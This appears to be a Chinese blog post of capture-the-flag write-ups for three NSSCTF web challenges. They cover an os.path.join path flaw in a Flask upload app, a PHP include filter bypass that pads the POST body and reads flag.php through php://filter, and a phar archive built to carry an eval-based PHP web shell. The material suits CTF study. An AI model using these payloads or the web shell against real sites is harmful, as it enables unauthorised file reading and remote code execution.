nssctf web网站首页 技术杂谈

nssctf web

许允er 2023-06-19 12:00:02

简介nssctf web

[NISACTF 2022]babyupload

f12看源码得到/source

发现是一个压缩文件

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:     #这里过滤了.
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)  
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))   #这里连接数据库查询文件的id值
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:   #这里通过os.path.join拼接绝对路径
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

这里的os.path.join函数存在漏洞

import os
 
print("1:",os.path.join('a','/b','c.txt'))
 
print("2:",os.path.join('/a','/b','/c.txt'))
 
print("3:",os.path.join('/a','./d','c.txt'))


#输出结果
/bc.txt
/c.txt
/a./dc.txt

os.path.join函数会以最后一个/开始拼接如果存在./那所有的参数保留

所以我们传入/flag 因为是/所以会以/flag为拼接

得到文件所在的地方

[鹏城杯 2022]简单包含

 <?php 
highlight_file(__FILE__);  #显示当前文件代码
include($_POST["flag"]);    #include包含文件 通过include包含post传入的flag的值
//flag in /var/www/html/flag.php;

使用伪协议尝试读取发现存在waf

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {

这里我们发现url通过input传递的值小于800会报错

使用我们可以构造足够多的字符来绕过

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

[NISACTF 2022]bingdundun~

这里发现url传入了参数

这里可以传入压缩包尝试phar伪协议

创建phar包

<?php
$phar = new Phar("zx.phar");    #创建新的phar文档
$phar->startBuffering();        #缓冲数据到内存中，不直接进入phar文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); #设置phar的stub，stub是文件被include和require的时候最先执行的代码。这里stub中代表停止php解析，避免解析phar中的内容
$phar->addFromString("zx.php",'<?php eval($_REQUEST["zx"]); ?>');  #向phar文件中添加一个zx.php的文件，内容是<?php eval($_REQUEST["zx"]); 
$phar->stopBuffering();         #将内存中的缓存数据写入zx.phar中
?>